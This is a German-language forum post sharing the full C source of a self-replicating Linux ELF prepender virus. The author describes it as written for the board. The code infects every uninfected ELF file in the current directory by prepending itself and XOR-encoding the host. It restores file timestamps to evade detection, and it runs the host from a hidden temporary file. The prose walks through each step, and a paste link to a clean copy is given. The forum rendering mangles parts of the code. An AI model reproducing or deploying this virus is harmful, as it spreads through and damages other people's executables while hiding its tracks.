Soo. Dann bringen wir mal bisschen Leben aufs Board.
Hier ist ein kleiner Prepender, den ich vor kurzem geschrieben habe. Den Code habe ich schon auf dem ein oder anderen Board gepostet aber wir brauchen hier ein bisschen mehr Aktivität.
Der Code ist relativ simpel. Das aktuelle Verzeichnis wird nach ELF Dateien durchsucht (es wird derzeit nur auf 0x7F, 'E', 'L', 'F' in den ersten 4 Bytes gecheckt). Haben wir eine ELF Datei, wird überprüft, ob diese schon infected ist. Der infection Marker ist der String "does this look infected?". Wenn dieser String in einer Datei vorkommt, wird abgebrochen und mit der nächsten Datei weiter gemacht. Wenn eine Datei noch nicht infected ist, wird die Datei in einen char Buffer eingelesen, mit einer Kopie der ersten 12669 (Größe des Viruses in der 0. Generation) Bytes der gerade ausgeführten Datei ersetzt und der Byte für Byte mit dem Virus xor'ed Bytecode der Host Datei an die eben erstellte Kopie angehangen (ist im Sourcecode leichter zu verstehen, als wenn ich das ganze versuche mit Sprache zu erklären ). Nach der Infection werden access und modification Time des Hostfiles wieder hergestellt um nicht zu sehr aufzufallen.
Wenn dann alle Dateien im aktuellen Verzeichnis abgearbeitet wurden, checkt der Virus, ob die gerade ausgeführte Datei größer ist als 12669 . Ist das der Fall, wird alles ab dem 12669. Byte eingelesen, wieder mit dem Virus xor'ed, in eine temporäre Datei geschrieben und executed. Nach der Execution wird die temp Datei wieder gelöscht.
Das ist die Technik einfach zusammen gefasst, hier der Code:
PHP-Code:
/**
 * Simple Linux prepender written in C
 *
 * Compile with: gcc -o filename filename.c
 *
 * R3s1stanc3 - r3s1stanc3@riseup.net
*/

#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <utime.h>
#include <sys/wait.h>

const char *mark "does this look infected?" ;     // infection mark and detection string
const unsigned long int virsize 12669 ;                    // our virus size
unsigned char *virbytes ;

char *randHostname ( const int length )                   // generates a random temporary name for our host file
{

    
int i ;
    
char *str calloc length+1sizeof(char) ) ;
    
char chars +++91; +++93; = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;

    
str +++91+++93; = '.' ;                               // start the filename with '.' so it won't be shown by default
    
for ( 1lengthi++ )
    {
        
str +++91+++93; = chars +++91rand() % strlen(chars) +++93; ;
    }

    return 
str ;

}

unsigned long int fileSize ( const char *file )                    // returns the size of a file
{

    
FILE *fd ;
    
unsigned long int size ;
    
fd fopen file"rb" ) ; // open file for reading
    
if ( fd == NULL ) return ;    // error

    
fseek fd0SEEK_END ) ; // go to the end of the file
    
size ftell fd ) ;   // get our position which is equal to the file size
    
fclose fd ) ; // close file

    
return size ;   // return size

}


unsigned char *readFile ( const char *file )              // returns a buffer with the contents of a file
{

    
FILE *fd ;
    
unsigned char *buf ;
    
unsigned long int size fileSize file ) ;

    
fd fopen file"rb+" ) ;                    // open file for reading
    
if ( fd == NULL ) return NULL ;                 // oh no we got an error

    
buf calloc sizesizeof(unsigned char) ) ;  // allocate our buffer and init it with 0x00
    
if ( buf == NULL ) return NULL ;                // oh no, another error

    
fread bufsizeof(unsigned char), sizefd) ; // copy files content in our buffer

    
fclose fd ) ;                                 // close file

    
return buf ;

}

int isElf ( const char *file )                            // checks if a file is a valid ELF (at this point only the magic number is checked)
{

    
FILE *fd ;
    const 
unsigned char magicNumber +++91; +++93; = { '\x7f''E''L''F' } ; // ELF magic number
    
int i ;

    
fd fopen file"rb" ) ;                     // open the file for reading
    
if ( fd == NULL ) return ;                    // error

    
for ( 0sizeof(magicNumber); ++)
        if ( 
fgetc(fd) != magicNumber+++91;i+++93; ) return ;

    
fclose fd ) ;

    return 
;

}

int isInfected ( const char *file )                       // search for our infection mark to check if a file is infected
{

    
unsigned long int size fileSize file ) ;
    
unsigned char *buf ;
    
int i ;

    
buf readFile file ) ;
    if ( 
buf == NULL ) return -;

    for ( 
1size; ++)                    // I stole this loop from TMZ's Linux.Zariche.A who got it from slek
    
{                                               // so thanks slek, I hope you are ok with this
        
if ( buf+++91;i+++93; == mark+++91;0+++93; )
        {
            
int j ;
            for ( 
1strlen(mark); ++)
            {
                if ( 
>= size ) break ;
                if ( 
buf+++91;j+++93; != mark+++91;j+++93; ) break ;
            }
            if ( 
== strlen(mark) )
            {
                
free buf ) ;
                return 
;                          // infected !!1!
            
}
        }
    }
    
free buf ) ;                                  // you are free my friend
    
return ;                                      // not infected

}

/**
 * to infect a file, the virus first writes its own bytes to a file, followed by the host bytes
 * the host bytes will be xor'ed with the virus bytes
 * it also restores the access and modification time of the host file to prevent detection
*/
void infect ( const char *file )
{

    
unsigned char *hostbytes readFile file ) ;  // read the host bytes
    
unsigned long int hostsize fileSize file ) ;
    
struct utimbuf ut ;                             // used to store the access and modification time of the host file
    
struct stat st ;
    
int i ;

    
stat file, &st ) ;
    
ut.actime st.st_atim.tv_sec ;
    
ut.modtime st.st_mtim.tv_sec ;
    
FILE *fd ;
    
fd fopen file"wb" ) ;
    
fwrite virbytessizeof(unsigned char), virsizefd) ;    // write virus bytes to file
    
for ( 0hostsizei++ )
        
hostbytes +++91+++93; ^= virbytes +++91i%virsize +++93; ;
    
fwrite hostbytessizeof(unsigned char), hostsizefd ) ; // write host bytes to file
    
free hostbytes ) ;                                        // you are free

    
fclose fd ) ;
    
utime file, &ut ) ;                           // restore access and modification time

}

/**
 * encrypts the host bytes, extracts them to a temporary file, chmods the file and
 * executes it with the parameters given to our virus
*/
void runHost ( const char *file, const char **args // file is always argv+++91;0+++93;
{

    
FILE *fd ;
    
int i ;
    
pid_t pid ;                                     // we need this to fork later
    
unsigned long int hostsize fileSize file ) - virsize ;   // calculate the size of the host file
    
unsigned char buf +++91hostsize +++93; ;
    
char *hostname randHostname 10 ) ;  // generate a random file name

    
fd fopen file"rb" ) ; // open infected file for reading
    
if ( fd == NULL ) return ;  // error

    
fseek fdvirsizeSEEK_SET ) ;   // set the file position indicator at the end of the virus
    
fread bufsizeof(unsigned char), hostsizefd) ; // read the host bytes in a buffer
    
fclose fd ) ;

    
fd fopen hostname"wb" ) ; // open temp file for writing
    
if ( fd == NULL ) return ;  // error

    
for ( 0hostsizei++ )
        
buf +++91+++93; ^= virbytes +++91i%virsize +++93; ;
    
fwrite bufsizeof(unsigned char), hostsizefd ) ;   // write host bytes to temp file
    
fclose fd ) ;

    
chmod hostnamestrtol("0755"08) ) ;  // chmod 755 temp file

    
pid fork ( ) ;    // fork and let the child execute the host file
    
if ( pid == -) return ;   // error
    
if ( pid == // child
    
{
        
execv hostnameargs ) ;  // execute host file
        
exit ( ) ;    // exit child process
    
}
    else    
// parent
    
{
        
wait NULL ) ; // wait for host execution to finish
        
unlink hostname ) ;   // remove temp file
    
}

    
free hostname ) ; // you're free

}

int main int argcchar **argv )
{

    
DIR *dir ;
    
struct dirent *ent ;
    
FILE *fd ;
    
int i ;
    
srand time(NULL) ) ;  // seed the random number generator

    
fd fopen argv+++91;0+++93;, "rb" ) ;
    if ( 
fd == NULL ) return ;

    
virbytes calloc virsizesizeof(unsigned char) ) ;
    if ( 
virbytes == NULL ) return ;
    
fread virbytessizeof(unsigned char), virsizefd) ; // read the virus bytes from the current file
    
fclose fd ) ;

    
dir opendir "." ) ; // open current directory
    
if ( dir == NULL ) return ;

    while ( (
ent readdir(dir)) != NULL )  // for each file in .
        
if ( isElf(ent->d_name) && !isInfected(ent->d_name) ) infect ent->d_name ) ; // infect, if it's an ELF and not already infected

    
closedir dir ) ;  // close

    
if ( fileSize(argv+++91;0+++93;) > virsize runHost argv+++91;0+++93;, argv ) ;    // if the size is bigger than the virus itself, we need to run the host

    
free virbytes ) ; // free everything !1!!

    
return 0;   // bye

Edit: Da die eckigen Klammern unschön escaped werden, hier nochmal als Paste: https://paste.static.lu/?9fc04b6a7d5...gM9pCi5faJmkI=